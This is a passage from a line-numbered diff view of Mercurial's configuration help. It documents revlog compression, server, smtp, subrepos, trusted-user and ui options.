2379
2351 ``revlog.reuse-external-delta``
2380 ``revlog.reuse-external-delta``
2352 Control the reuse of delta from external source.
2381 Control the reuse of delta from external source.
2353 (typically: apply bundle from `hg pull` or `hg push`).
2382 (typically: apply bundle from `hg pull` or `hg push`).
2354
2383
2355 New revisions are usually provided as a delta against another revision. By
2384 New revisions are usually provided as a delta against another revision. By
2356 default, Mercurial will not recompute the same delta again, trusting
2385 default, Mercurial will not recompute the same delta again, trusting
2357 externally provided deltas. There have been rare cases of small adjustment
2386 externally provided deltas. There have been rare cases of small adjustment
2358 to the diffing algorithm in the past. So in some rare case, recomputing
2387 to the diffing algorithm in the past. So in some rare case, recomputing
2359 delta provided by ancient clients can provides better results. Disabling
2388 delta provided by ancient clients can provides better results. Disabling
2360 this option means going through a full delta recomputation for all incoming
2389 this option means going through a full delta recomputation for all incoming
2361 revisions. It means a large increase in CPU usage and will slow operations
2390 revisions. It means a large increase in CPU usage and will slow operations
2362 down.
2391 down.
2363
2392
2364 This option is enabled by default. When disabled, it also disables the
2393 This option is enabled by default. When disabled, it also disables the
2365 related ``storage.revlog.reuse-external-delta-parent`` option.
2394 related ``storage.revlog.reuse-external-delta-parent`` option.
2366
2395
2367 ``revlog.zlib.level``
2396 ``revlog.zlib.level``
2368 Zlib compression level used when storing data into the repository. Accepted
2397 Zlib compression level used when storing data into the repository. Accepted
2369 Value range from 1 (lowest compression) to 9 (highest compression). Zlib
2398 Value range from 1 (lowest compression) to 9 (highest compression). Zlib
2370 default value is 6.
2399 default value is 6.
2371
2400
2372
2401
2373 ``revlog.zstd.level``
2402 ``revlog.zstd.level``
2374 zstd compression level used when storing data into the repository. Accepted
2403 zstd compression level used when storing data into the repository. Accepted
2375 Value range from 1 (lowest compression) to 22 (highest compression).
2404 Value range from 1 (lowest compression) to 22 (highest compression).
2376 (default 3)
2405 (default 3)
2377
2406
2378 ``server``
2407 ``server``
2379 ----------
2408 ----------
2380
2409
2381 Controls generic server settings.
2410 Controls generic server settings.
2382
2411
2383 ``bookmarks-pushkey-compat``
2412 ``bookmarks-pushkey-compat``
2384 Trigger pushkey hook when being pushed bookmark updates. This config exist
2413 Trigger pushkey hook when being pushed bookmark updates. This config exist
2385 for compatibility purpose (default to True)
2414 for compatibility purpose (default to True)
2386
2415
2387 If you use ``pushkey`` and ``pre-pushkey`` hooks to control bookmark
2416 If you use ``pushkey`` and ``pre-pushkey`` hooks to control bookmark
2388 movement we recommend you migrate them to ``txnclose-bookmark`` and
2417 movement we recommend you migrate them to ``txnclose-bookmark`` and
2389 ``pretxnclose-bookmark``.
2418 ``pretxnclose-bookmark``.
2390
2419
2391 ``compressionengines``
2420 ``compressionengines``
2392 List of compression engines and their relative priority to advertise
2421 List of compression engines and their relative priority to advertise
2393 to clients.
2422 to clients.
2394
2423
2395 The order of compression engines determines their priority, the first
2424 The order of compression engines determines their priority, the first
2396 having the highest priority. If a compression engine is not listed
2425 having the highest priority. If a compression engine is not listed
2397 here, it won't be advertised to clients.
2426 here, it won't be advertised to clients.
2398
2427
2399 If not set (the default), built-in defaults are used. Run
2428 If not set (the default), built-in defaults are used. Run
2400 :hg:`debuginstall` to list available compression engines and their
2429 :hg:`debuginstall` to list available compression engines and their
2401 default wire protocol priority.
2430 default wire protocol priority.
2402
2431
2403 Older Mercurial clients only support zlib compression and this setting
2432 Older Mercurial clients only support zlib compression and this setting
2404 has no effect for legacy clients.
2433 has no effect for legacy clients.
2405
2434
2406 ``uncompressed``
2435 ``uncompressed``
2407 Whether to allow clients to clone a repository using the
2436 Whether to allow clients to clone a repository using the
2408 uncompressed streaming protocol. This transfers about 40% more
2437 uncompressed streaming protocol. This transfers about 40% more
2409 data than a regular clone, but uses less memory and CPU on both
2438 data than a regular clone, but uses less memory and CPU on both
2410 server and client. Over a LAN (100 Mbps or better) or a very fast
2439 server and client. Over a LAN (100 Mbps or better) or a very fast
2411 WAN, an uncompressed streaming clone is a lot faster (~10x) than a
2440 WAN, an uncompressed streaming clone is a lot faster (~10x) than a
2412 regular clone. Over most WAN connections (anything slower than
2441 regular clone. Over most WAN connections (anything slower than
2413 about 6 Mbps), uncompressed streaming is slower, because of the
2442 about 6 Mbps), uncompressed streaming is slower, because of the
2414 extra data transfer overhead. This mode will also temporarily hold
2443 extra data transfer overhead. This mode will also temporarily hold
2415 the write lock while determining what data to transfer.
2444 the write lock while determining what data to transfer.
2416 (default: True)
2445 (default: True)
2417
2446
2418 ``uncompressedallowsecret``
2447 ``uncompressedallowsecret``
2419 Whether to allow stream clones when the repository contains secret
2448 Whether to allow stream clones when the repository contains secret
2420 changesets. (default: False)
2449 changesets. (default: False)
2421
2450
2422 ``preferuncompressed``
2451 ``preferuncompressed``
2423 When set, clients will try to use the uncompressed streaming
2452 When set, clients will try to use the uncompressed streaming
2424 protocol. (default: False)
2453 protocol. (default: False)
2425
2454
2426 ``disablefullbundle``
2455 ``disablefullbundle``
2427 When set, servers will refuse attempts to do pull-based clones.
2456 When set, servers will refuse attempts to do pull-based clones.
2428 If this option is set, ``preferuncompressed`` and/or clone bundles
2457 If this option is set, ``preferuncompressed`` and/or clone bundles
2429 are highly recommended. Partial clones will still be allowed.
2458 are highly recommended. Partial clones will still be allowed.
2430 (default: False)
2459 (default: False)
2431
2460
2432 ``streamunbundle``
2461 ``streamunbundle``
2433 When set, servers will apply data sent from the client directly,
2462 When set, servers will apply data sent from the client directly,
2434 otherwise it will be written to a temporary file first. This option
2463 otherwise it will be written to a temporary file first. This option
2435 effectively prevents concurrent pushes.
2464 effectively prevents concurrent pushes.
2436
2465
2437 ``pullbundle``
2466 ``pullbundle``
2438 When set, the server will check pullbundles.manifest for bundles
2467 When set, the server will check pullbundles.manifest for bundles
2439 covering the requested heads and common nodes. The first matching
2468 covering the requested heads and common nodes. The first matching
2440 entry will be streamed to the client.
2469 entry will be streamed to the client.
2441
2470
2442 For HTTP transport, the stream will still use zlib compression
2471 For HTTP transport, the stream will still use zlib compression
2443 for older clients.
2472 for older clients.
2444
2473
2445 ``concurrent-push-mode``
2474 ``concurrent-push-mode``
2446 Level of allowed race condition between two pushing clients.
2475 Level of allowed race condition between two pushing clients.
2447
2476
2448 - 'strict': push is abort if another client touched the repository
2477 - 'strict': push is abort if another client touched the repository
2449 while the push was preparing.
2478 while the push was preparing.
2450 - 'check-related': push is only aborted if it affects head that got also
2479 - 'check-related': push is only aborted if it affects head that got also
2451 affected while the push was preparing. (default since 5.4)
2480 affected while the push was preparing. (default since 5.4)
2452
2481
2453 'check-related' only takes effect for compatible clients (version
2482 'check-related' only takes effect for compatible clients (version
2454 4.3 and later). Older clients will use 'strict'.
2483 4.3 and later). Older clients will use 'strict'.
2455
2484
2456 ``validate``
2485 ``validate``
2457 Whether to validate the completeness of pushed changesets by
2486 Whether to validate the completeness of pushed changesets by
2458 checking that all new file revisions specified in manifests are
2487 checking that all new file revisions specified in manifests are
2459 present. (default: False)
2488 present. (default: False)
2460
2489
2461 ``maxhttpheaderlen``
2490 ``maxhttpheaderlen``
2462 Instruct HTTP clients not to send request headers longer than this
2491 Instruct HTTP clients not to send request headers longer than this
2463 many bytes. (default: 1024)
2492 many bytes. (default: 1024)
2464
2493
2465 ``bundle1``
2494 ``bundle1``
2466 Whether to allow clients to push and pull using the legacy bundle1
2495 Whether to allow clients to push and pull using the legacy bundle1
2467 exchange format. (default: True)
2496 exchange format. (default: True)
2468
2497
2469 ``bundle1gd``
2498 ``bundle1gd``
2470 Like ``bundle1`` but only used if the repository is using the
2499 Like ``bundle1`` but only used if the repository is using the
2471 *generaldelta* storage format. (default: True)
2500 *generaldelta* storage format. (default: True)
2472
2501
2473 ``bundle1.push``
2502 ``bundle1.push``
2474 Whether to allow clients to push using the legacy bundle1 exchange
2503 Whether to allow clients to push using the legacy bundle1 exchange
2475 format. (default: True)
2504 format. (default: True)
2476
2505
2477 ``bundle1gd.push``
2506 ``bundle1gd.push``
2478 Like ``bundle1.push`` but only used if the repository is using the
2507 Like ``bundle1.push`` but only used if the repository is using the
2479 *generaldelta* storage format. (default: True)
2508 *generaldelta* storage format. (default: True)
2480
2509
2481 ``bundle1.pull``
2510 ``bundle1.pull``
2482 Whether to allow clients to pull using the legacy bundle1 exchange
2511 Whether to allow clients to pull using the legacy bundle1 exchange
2483 format. (default: True)
2512 format. (default: True)
2484
2513
2485 ``bundle1gd.pull``
2514 ``bundle1gd.pull``
2486 Like ``bundle1.pull`` but only used if the repository is using the
2515 Like ``bundle1.pull`` but only used if the repository is using the
2487 *generaldelta* storage format. (default: True)
2516 *generaldelta* storage format. (default: True)
2488
2517
2489 Large repositories using the *generaldelta* storage format should
2518 Large repositories using the *generaldelta* storage format should
2490 consider setting this option because converting *generaldelta*
2519 consider setting this option because converting *generaldelta*
2491 repositories to the exchange format required by the bundle1 data
2520 repositories to the exchange format required by the bundle1 data
2492 format can consume a lot of CPU.
2521 format can consume a lot of CPU.
2493
2522
2494 ``bundle2.stream``
2523 ``bundle2.stream``
2495 Whether to allow clients to pull using the bundle2 streaming protocol.
2524 Whether to allow clients to pull using the bundle2 streaming protocol.
2496 (default: True)
2525 (default: True)
2497
2526
2498 ``zliblevel``
2527 ``zliblevel``
2499 Integer between ``-1`` and ``9`` that controls the zlib compression level
2528 Integer between ``-1`` and ``9`` that controls the zlib compression level
2500 for wire protocol commands that send zlib compressed output (notably the
2529 for wire protocol commands that send zlib compressed output (notably the
2501 commands that send repository history data).
2530 commands that send repository history data).
2502
2531
2503 The default (``-1``) uses the default zlib compression level, which is
2532 The default (``-1``) uses the default zlib compression level, which is
2504 likely equivalent to ``6``. ``0`` means no compression. ``9`` means
2533 likely equivalent to ``6``. ``0`` means no compression. ``9`` means
2505 maximum compression.
2534 maximum compression.
2506
2535
2507 Setting this option allows server operators to make trade-offs between
2536 Setting this option allows server operators to make trade-offs between
2508 bandwidth and CPU used. Lowering the compression lowers CPU utilization
2537 bandwidth and CPU used. Lowering the compression lowers CPU utilization
2509 but sends more bytes to clients.
2538 but sends more bytes to clients.
2510
2539
2511 This option only impacts the HTTP server.
2540 This option only impacts the HTTP server.
2512
2541
2513 ``zstdlevel``
2542 ``zstdlevel``
2514 Integer between ``1`` and ``22`` that controls the zstd compression level
2543 Integer between ``1`` and ``22`` that controls the zstd compression level
2515 for wire protocol commands. ``1`` is the minimal amount of compression and
2544 for wire protocol commands. ``1`` is the minimal amount of compression and
2516 ``22`` is the highest amount of compression.
2545 ``22`` is the highest amount of compression.
2517
2546
2518 The default (``3``) should be significantly faster than zlib while likely
2547 The default (``3``) should be significantly faster than zlib while likely
2519 delivering better compression ratios.
2548 delivering better compression ratios.
2520
2549
2521 This option only impacts the HTTP server.
2550 This option only impacts the HTTP server.
2522
2551
2523 See also ``server.zliblevel``.
2552 See also ``server.zliblevel``.
2524
2553
2525 ``view``
2554 ``view``
2526 Repository filter used when exchanging revisions with the peer.
2555 Repository filter used when exchanging revisions with the peer.
2527
2556
2528 The default view (``served``) excludes secret and hidden changesets.
2557 The default view (``served``) excludes secret and hidden changesets.
2529 Another useful value is ``immutable`` (no draft, secret or hidden
2558 Another useful value is ``immutable`` (no draft, secret or hidden
2530 changesets). (EXPERIMENTAL)
2559 changesets). (EXPERIMENTAL)
2531
2560
2532 ``smtp``
2561 ``smtp``
2533 --------
2562 --------
2534
2563
2535 Configuration for extensions that need to send email messages.
2564 Configuration for extensions that need to send email messages.
2536
2565
2537 ``host``
2566 ``host``
2538 Host name of mail server, e.g. "mail.example.com".
2567 Host name of mail server, e.g. "mail.example.com".
2539
2568
2540 ``port``
2569 ``port``
2541 Optional. Port to connect to on mail server. (default: 465 if
2570 Optional. Port to connect to on mail server. (default: 465 if
2542 ``tls`` is smtps; 25 otherwise)
2571 ``tls`` is smtps; 25 otherwise)
2543
2572
2544 ``tls``
2573 ``tls``
2545 Optional. Method to enable TLS when connecting to mail server: starttls,
2574 Optional. Method to enable TLS when connecting to mail server: starttls,
2546 smtps or none. (default: none)
2575 smtps or none. (default: none)
2547
2576
2548 ``username``
2577 ``username``
2549 Optional. User name for authenticating with the SMTP server.
2578 Optional. User name for authenticating with the SMTP server.
2550 (default: None)
2579 (default: None)
2551
2580
2552 ``password``
2581 ``password``
2553 Optional. Password for authenticating with the SMTP server. If not
2582 Optional. Password for authenticating with the SMTP server. If not
2554 specified, interactive sessions will prompt the user for a
2583 specified, interactive sessions will prompt the user for a
2555 password; non-interactive sessions will fail. (default: None)
2584 password; non-interactive sessions will fail. (default: None)
2556
2585
2557 ``local_hostname``
2586 ``local_hostname``
2558 Optional. The hostname that the sender can use to identify
2587 Optional. The hostname that the sender can use to identify
2559 itself to the MTA.
2588 itself to the MTA.
2560
2589
2561
2590
2562 ``subpaths``
2591 ``subpaths``
2563 ------------
2592 ------------
2564
2593
2565 Subrepository source URLs can go stale if a remote server changes name
2594 Subrepository source URLs can go stale if a remote server changes name
2566 or becomes temporarily unavailable. This section lets you define
2595 or becomes temporarily unavailable. This section lets you define
2567 rewrite rules of the form::
2596 rewrite rules of the form::
2568
2597
2569 <pattern> = <replacement>
2598 <pattern> = <replacement>
2570
2599
2571 where ``pattern`` is a regular expression matching a subrepository
2600 where ``pattern`` is a regular expression matching a subrepository
2572 source URL and ``replacement`` is the replacement string used to
2601 source URL and ``replacement`` is the replacement string used to
2573 rewrite it. Groups can be matched in ``pattern`` and referenced in
2602 rewrite it. Groups can be matched in ``pattern`` and referenced in
2574 ``replacements``. For instance::
2603 ``replacements``. For instance::
2575
2604
2576 http://server/(.*)-hg/ = http://hg.server/\1/
2605 http://server/(.*)-hg/ = http://hg.server/\1/
2577
2606
2578 rewrites ``http://server/foo-hg/`` into ``http://hg.server/foo/``.
2607 rewrites ``http://server/foo-hg/`` into ``http://hg.server/foo/``.
2579
2608
2580 Relative subrepository paths are first made absolute, and the
2609 Relative subrepository paths are first made absolute, and the
2581 rewrite rules are then applied on the full (absolute) path. If ``pattern``
2610 rewrite rules are then applied on the full (absolute) path. If ``pattern``
2582 doesn't match the full path, an attempt is made to apply it on the
2611 doesn't match the full path, an attempt is made to apply it on the
2583 relative path alone. The rules are applied in definition order.
2612 relative path alone. The rules are applied in definition order.
2584
2613
2585 ``subrepos``
2614 ``subrepos``
2586 ------------
2615 ------------
2587
2616
2588 This section contains options that control the behavior of the
2617 This section contains options that control the behavior of the
2589 subrepositories feature. See also :hg:`help subrepos`.
2618 subrepositories feature. See also :hg:`help subrepos`.
2590
2619
2591 Security note: auditing in Mercurial is known to be insufficient to
2620 Security note: auditing in Mercurial is known to be insufficient to
2592 prevent clone-time code execution with carefully constructed Git
2621 prevent clone-time code execution with carefully constructed Git
2593 subrepos. It is unknown if a similar detect is present in Subversion
2622 subrepos. It is unknown if a similar detect is present in Subversion
2594 subrepos. Both Git and Subversion subrepos are disabled by default
2623 subrepos. Both Git and Subversion subrepos are disabled by default
2595 out of security concerns. These subrepo types can be enabled using
2624 out of security concerns. These subrepo types can be enabled using
2596 the respective options below.
2625 the respective options below.
2597
2626
2598 ``allowed``
2627 ``allowed``
2599 Whether subrepositories are allowed in the working directory.
2628 Whether subrepositories are allowed in the working directory.
2600
2629
2601 When false, commands involving subrepositories (like :hg:`update`)
2630 When false, commands involving subrepositories (like :hg:`update`)
2602 will fail for all subrepository types.
2631 will fail for all subrepository types.
2603 (default: true)
2632 (default: true)
2604
2633
2605 ``hg:allowed``
2634 ``hg:allowed``
2606 Whether Mercurial subrepositories are allowed in the working
2635 Whether Mercurial subrepositories are allowed in the working
2607 directory. This option only has an effect if ``subrepos.allowed``
2636 directory. This option only has an effect if ``subrepos.allowed``
2608 is true.
2637 is true.
2609 (default: true)
2638 (default: true)
2610
2639
2611 ``git:allowed``
2640 ``git:allowed``
2612 Whether Git subrepositories are allowed in the working directory.
2641 Whether Git subrepositories are allowed in the working directory.
2613 This option only has an effect if ``subrepos.allowed`` is true.
2642 This option only has an effect if ``subrepos.allowed`` is true.
2614
2643
2615 See the security note above before enabling Git subrepos.
2644 See the security note above before enabling Git subrepos.
2616 (default: false)
2645 (default: false)
2617
2646
2618 ``svn:allowed``
2647 ``svn:allowed``
2619 Whether Subversion subrepositories are allowed in the working
2648 Whether Subversion subrepositories are allowed in the working
2620 directory. This option only has an effect if ``subrepos.allowed``
2649 directory. This option only has an effect if ``subrepos.allowed``
2621 is true.
2650 is true.
2622
2651
2623 See the security note above before enabling Subversion subrepos.
2652 See the security note above before enabling Subversion subrepos.
2624 (default: false)
2653 (default: false)
2625
2654
2626 ``templatealias``
2655 ``templatealias``
2627 -----------------
2656 -----------------
2628
2657
2629 Alias definitions for templates. See :hg:`help templates` for details.
2658 Alias definitions for templates. See :hg:`help templates` for details.
2630
2659
2631 ``templates``
2660 ``templates``
2632 -------------
2661 -------------
2633
2662
2634 Use the ``[templates]`` section to define template strings.
2663 Use the ``[templates]`` section to define template strings.
2635 See :hg:`help templates` for details.
2664 See :hg:`help templates` for details.
2636
2665
2637 ``trusted``
2666 ``trusted``
2638 -----------
2667 -----------
2639
2668
2640 Mercurial will not use the settings in the
2669 Mercurial will not use the settings in the
2641 ``.hg/hgrc`` file from a repository if it doesn't belong to a trusted
2670 ``.hg/hgrc`` file from a repository if it doesn't belong to a trusted
2642 user or to a trusted group, as various hgrc features allow arbitrary
2671 user or to a trusted group, as various hgrc features allow arbitrary
2643 commands to be run. This issue is often encountered when configuring
2672 commands to be run. This issue is often encountered when configuring
2644 hooks or extensions for shared repositories or servers. However,
2673 hooks or extensions for shared repositories or servers. However,
2645 the web interface will use some safe settings from the ``[web]``
2674 the web interface will use some safe settings from the ``[web]``
2646 section.
2675 section.
2647
2676
2648 This section specifies what users and groups are trusted. The
2677 This section specifies what users and groups are trusted. The
2649 current user is always trusted. To trust everybody, list a user or a
2678 current user is always trusted. To trust everybody, list a user or a
2650 group with name ``*``. These settings must be placed in an
2679 group with name ``*``. These settings must be placed in an
2651 *already-trusted file* to take effect, such as ``$HOME/.hgrc`` of the
2680 *already-trusted file* to take effect, such as ``$HOME/.hgrc`` of the
2652 user or service running Mercurial.
2681 user or service running Mercurial.
2653
2682
2654 ``users``
2683 ``users``
2655 Comma-separated list of trusted users.
2684 Comma-separated list of trusted users.
2656
2685
2657 ``groups``
2686 ``groups``
2658 Comma-separated list of trusted groups.
2687 Comma-separated list of trusted groups.
2659
2688
2660
2689
2661 ``ui``
2690 ``ui``
2662 ------
2691 ------
2663
2692
2664 User interface controls.
2693 User interface controls.
2665
2694
2666 ``archivemeta``
2695 ``archivemeta``
2667 Whether to include the .hg_archival.txt file containing meta data
2696 Whether to include the .hg_archival.txt file containing meta data
2668 (hashes for the repository base and for tip) in archives created
2697 (hashes for the repository base and for tip) in archives created
2669 by the :hg:`archive` command or downloaded via hgweb.
2698 by the :hg:`archive` command or downloaded via hgweb.
2670 (default: True)
2699 (default: True)
2671
2700
2672 ``askusername``
2701 ``askusername``
2673 Whether to prompt for a username when committing. If True, and
2702 Whether to prompt for a username when committing. If True, and
2674 neither ``$HGUSER`` nor ``$EMAIL`` has been specified, then the user will
2703 neither ``$HGUSER`` nor ``$EMAIL`` has been specified, then the user will
2675 be prompted to enter a username. If no username is entered, the
2704 be prompted to enter a username. If no username is entered, the
2676 default ``USER@HOST`` is used instead.
2705 default ``USER@HOST`` is used instead.
2677 (default: False)
2706 (default: False)
2678
2707
2679 ``clonebundles``
2708 ``clonebundles``
2680 Whether the "clone bundles" feature is enabled.
2709 Whether the "clone bundles" feature is enabled.
2681
2710
2682 When enabled, :hg:`clone` may download and apply a server-advertised
2711 When enabled, :hg:`clone` may download and apply a server-advertised
2683 bundle file from a URL instead of using the normal exchange mechanism.
2712 bundle file from a URL instead of using the normal exchange mechanism.
2684
2713
2685 This can likely result in faster and more reliable clones.
2714 This can likely result in faster and more reliable clones.
2686
2715
2687 (default: True)
2716 (default: True)
2688
2717
2689 ``clonebundlefallback``
2718 ``clonebundlefallback``
2690 Whether failure to apply an advertised "clone bundle" from a server
2719 Whether failure to apply an advertised "clone bundle" from a server
2691 should result in fallback to a regular clone.
2720 should result in fallback to a regular clone.
2692
2721
2693 This is disabled by default because servers advertising "clone
2722 This is disabled by default because servers advertising "clone
2694 bundles" often do so to reduce server load. If advertised bundles
2723 bundles" often do so to reduce server load. If advertised bundles
2695 start mass failing and clients automatically fall back to a regular
2724 start mass failing and clients automatically fall back to a regular
2696 clone, this would add significant and unexpected load to the server
2725 clone, this would add significant and unexpected load to the server
2697 since the server is expecting clone operations to be offloaded to
2726 since the server is expecting clone operations to be offloaded to
2698 pre-generated bundles. Failing fast (the default behavior) ensures
2727 pre-generated bundles. Failing fast (the default behavior) ensures
2699 clients don't overwhelm the server when "clone bundle" application
2728 clients don't overwhelm the server when "clone bundle" application
2700 fails.
2729 fails.
2701
2730
2702 (default: False)
2731 (default: False)
2703
2732
2704 ``clonebundleprefers``
2733 ``clonebundleprefers``
2705 Defines preferences for which "clone bundles" to use.
2734 Defines preferences for which "clone bundles" to use.
2706
2735
2707 Servers advertising "clone bundles" may advertise multiple available
2736 Servers advertising "clone bundles" may advertise multiple available
2708 bundles. Each bundle may have different attributes, such as the bundle
2737 bundles. Each bundle may have different attributes, such as the bundle
2709 type and compression format. This option is used to prefer a particular
2738 type and compression format. This option is used to prefer a particular
2710 bundle over another.
2739 bundle over another.
2711
2740
2712 The following keys are defined by Mercurial:
2741 The following keys are defined by Mercurial:
2713
2742
2714 BUNDLESPEC
2743 BUNDLESPEC
2715 A bundle type specifier. These are strings passed to :hg:`bundle -t`.
2744 A bundle type specifier. These are strings passed to :hg:`bundle -t`.
2716 e.g. ``gzip-v2`` or ``bzip2-v1``.
2745 e.g. ``gzip-v2`` or ``bzip2-v1``.
2717
2746
2718 COMPRESSION
2747 COMPRESSION
2719 The compression format of the bundle. e.g. ``gzip`` and ``bzip2``.
2748 The compression format of the bundle. e.g. ``gzip`` and ``bzip2``.
2720
2749
2721 Server operators may define custom keys.
2750 Server operators may define custom keys.
2722
2751
2723 Example values: ``COMPRESSION=bzip2``,
2752 Example values: ``COMPRESSION=bzip2``,
2724 ``BUNDLESPEC=gzip-v2, COMPRESSION=gzip``.
2753 ``BUNDLESPEC=gzip-v2, COMPRESSION=gzip``.
2725
2754
2726 By default, the first bundle advertised by the server is used.
2755 By default, the first bundle advertised by the server is used.
2727
2756
2728 ``color``
2757 ``color``
2729 When to colorize output. Possible value are Boolean ("yes" or "no"), or
2758 When to colorize output. Possible value are Boolean ("yes" or "no"), or
2730 "debug", or "always". (default: "yes"). "yes" will use color whenever it
2759 "debug", or "always". (default: "yes"). "yes" will use color whenever it
2731 seems possible. See :hg:`help color` for details.
2760 seems possible. See :hg:`help color` for details.
2732
2761
2733 ``commitsubrepos``
2762 ``commitsubrepos``
2734 Whether to commit modified subrepositories when committing the
2763 Whether to commit modified subrepositories when committing the
2735 parent repository. If False and one subrepository has uncommitted
2764 parent repository. If False and one subrepository has uncommitted
2736 changes, abort the commit.
2765 changes, abort the commit.
2737 (default: False)
2766 (default: False)
2738
2767
2739 ``debug``
2768 ``debug``
2740 Print debugging information. (default: False)
2769 Print debugging information. (default: False)
2741
2770
2742 ``editor``
2771 ``editor``
2743 The editor to use during a commit. (default: ``$EDITOR`` or ``vi``)
2772 The editor to use during a commit. (default: ``$EDITOR`` or ``vi``)
2744
2773
2745 ``fallbackencoding``
2774 ``fallbackencoding``
2746 Encoding to try if it's not possible to decode the changelog using
2775 Encoding to try if it's not possible to decode the changelog using
2747 UTF-8. (default: ISO-8859-1)
2776 UTF-8. (default: ISO-8859-1)
2748
2777
2749 ``graphnodetemplate``
2778 ``graphnodetemplate``
2750 (DEPRECATED) Use ``command-templates.graphnode`` instead.
2779 (DEPRECATED) Use ``command-templates.graphnode`` instead.
2751
2780
2752 ``ignore``
2781 ``ignore``
2753 A file to read per-user ignore patterns from. This file should be
2782 A file to read per-user ignore patterns from. This file should be
2754 in the same format as a repository-wide .hgignore file. Filenames
2783 in the same format as a repository-wide .hgignore file. Filenames
2755 are relative to the repository root. This option supports hook syntax,
2784 are relative to the repository root. This option supports hook syntax,
2756 so if you want to specify multiple ignore files, you can do so by
2785 so if you want to specify multiple ignore files, you can do so by
2757 setting something like ``ignore.other = ~/.hgignore2``. For details
2786 setting something like ``ignore.other = ~/.hgignore2``. For details
2758 of the ignore file format, see the ``hgignore(5)`` man page.
2787 of the ignore file format, see the ``hgignore(5)`` man page.
2759
2788
2760 ``interactive``
2789 ``interactive``
2761 Allow to prompt the user. (default: True)
2790 Allow to prompt the user. (default: True)
2762
2791
2763 ``interface``
2792 ``interface``
2764 Select the default interface for interactive features (default: text).
2793 Select the default interface for interactive features (default: text).
2765 Possible values are 'text' and 'curses'.
2794 Possible values are 'text' and 'curses'.
2766
2795
2767 ``interface.chunkselector``
2796 ``interface.chunkselector``
2768 Select the interface for change recording (e.g. :hg:`commit -i`).
2797 Select the interface for change recording (e.g. :hg:`commit -i`).
2769 Possible values are 'text' and 'curses'.
2798 Possible values are 'text' and 'curses'.
2770 This config overrides the interface specified by ui.interface.
2799 This config overrides the interface specified by ui.interface.
2771
2800
2772 ``large-file-limit``
2801 ``large-file-limit``
2773 Largest file size that gives no memory use warning.
2802 Largest file size that gives no memory use warning.
2774 Possible values are integers or 0 to disable the check.
2803 Possible values are integers or 0 to disable the check.
2775 Value is expressed in bytes by default, one can use standard units for
2804 Value is expressed in bytes by default, one can use standard units for
2776 convenience (e.g. 10MB, 0.1GB, etc) (default: 10MB)
2805 convenience (e.g. 10MB, 0.1GB, etc) (default: 10MB)
2777
2806
2778 ``logtemplate``
2807 ``logtemplate``
2779 (DEPRECATED) Use ``command-templates.log`` instead.
2808 (DEPRECATED) Use ``command-templates.log`` instead.
2780
2809
2781 ``merge``
2810 ``merge``
2782 The conflict resolution program to use during a manual merge.
2811 The conflict resolution program to use during a manual merge.
2783 For more information on merge tools see :hg:`help merge-tools`.
2812 For more information on merge tools see :hg:`help merge-tools`.
2784 For configuring merge tools see the ``[merge-tools]`` section.
2813 For configuring merge tools see the ``[merge-tools]`` section.
2785
2814
2786 ``mergemarkers``
2815 ``mergemarkers``
2787 Sets the merge conflict marker label styling. The ``detailed`` style
2816 Sets the merge conflict marker label styling. The ``detailed`` style
2788 uses the ``command-templates.mergemarker`` setting to style the labels.
2817 uses the ``command-templates.mergemarker`` setting to style the labels.
2789 The ``basic`` style just uses 'local' and 'other' as the marker label.
2818 The ``basic`` style just uses 'local' and 'other' as the marker label.
2790 One of ``basic`` or ``detailed``.
2819 One of ``basic`` or ``detailed``.
2791 (default: ``basic``)
2820 (default: ``basic``)
2792
2821
2793 ``mergemarkertemplate``
2822 ``mergemarkertemplate``
2794 (DEPRECATED) Use ``command-templates.mergemarker`` instead.
2823 (DEPRECATED) Use ``command-templates.mergemarker`` instead.
2795
2824
2796 ``message-output``
2825 ``message-output``
2797 Where to write status and error messages. (default: ``stdio``)
2826 Where to write status and error messages. (default: ``stdio``)
2798
2827
2799 ``channel``
2828 ``channel``
2800 Use separate channel for structured output. (Command-server only)
2829 Use separate channel for structured output. (Command-server only)
2801 ``stderr``
2830 ``stderr``
2802 Everything to stderr.
2831 Everything to stderr.
2803 ``stdio``
2832 ``stdio``
2804 Status to stdout, and error to stderr.
2833 Status to stdout, and error to stderr.
2805
2834
2806 ``origbackuppath``
2835 ``origbackuppath``
2807 The path to a directory used to store generated .orig files. If the path is
2836 The path to a directory used to store generated .orig files. If the path is
2808 not a directory, one will be created. If set, files stored in this
2837 not a directory, one will be created. If set, files stored in this
2809 directory have the same name as the original file and do not have a .orig
2838 directory have the same name as the original file and do not have a .orig
2810 suffix.
2839 suffix.
2811
2840
2812 ``paginate``
2841 ``paginate``
2813 Control the pagination of command output (default: True). See :hg:`help pager`
2842 Control the pagination of command output (default: True). See :hg:`help pager`
2814 for details.
2843 for details.
2815
2844
2816 ``patch``
2845 ``patch``
2817 An optional external tool that ``hg import`` and some extensions
2846 An optional external tool that ``hg import`` and some extensions
2818 will use for applying patches. By default Mercurial uses an
2847 will use for applying patches. By default Mercurial uses an
2819 internal patch utility. The external tool must work as the common
2848 internal patch utility. The external tool must work as the common
2820 Unix ``patch`` program. In particular, it must accept a ``-p``
2849 Unix ``patch`` program. In particular, it must accept a ``-p``
2821 argument to strip patch headers, a ``-d`` argument to specify the
2850 argument to strip patch headers, a ``-d`` argument to specify the
2822 current directory, a file name to patch, and a patch file to take
2851 current directory, a file name to patch, and a patch file to take
2823 from stdin.
2852 from stdin.
2824
2853
2825 It is possible to specify a patch tool together with extra
2854 It is possible to specify a patch tool together with extra
2826 arguments. For example, setting this option to ``patch --merge``
2855 arguments. For example, setting this option to ``patch --merge``
2827 will use the ``patch`` program with its 2-way merge option.
2856 will use the ``patch`` program with its 2-way merge option.
2828
2857
2829 ``portablefilenames``
2858 ``portablefilenames``
2830 Check for portable filenames. Can be ``warn``, ``ignore`` or ``abort``.
2859 Check for portable filenames. Can be ``warn``, ``ignore`` or ``abort``.
2831 (default: ``warn``)
2860 (default: ``warn``)
2832
2861
2833 ``warn``
2862 ``warn``
2834 Print a warning message on POSIX platforms, if a file with a non-portable
2863 Print a warning message on POSIX platforms, if a file with a non-portable
2835 filename is added (e.g. a file with a name that can't be created on
2864 filename is added (e.g. a file with a name that can't be created on
2836 Windows because it contains reserved parts like ``AUX``, reserved
2865 Windows because it contains reserved parts like ``AUX``, reserved
2837 characters like ``:``, or would cause a case collision with an existing
2866 characters like ``:``, or would cause a case collision with an existing
2838 file).
2867 file).
2839
2868
2840 ``ignore``
2869 ``ignore``
2841 Don't print a warning.
2870 Don't print a warning.
2842
2871
2843 ``abort``
2872 ``abort``
2844 The command is aborted.
2873 The command is aborted.
2845
2874
2846 ``true``
2875 ``true``
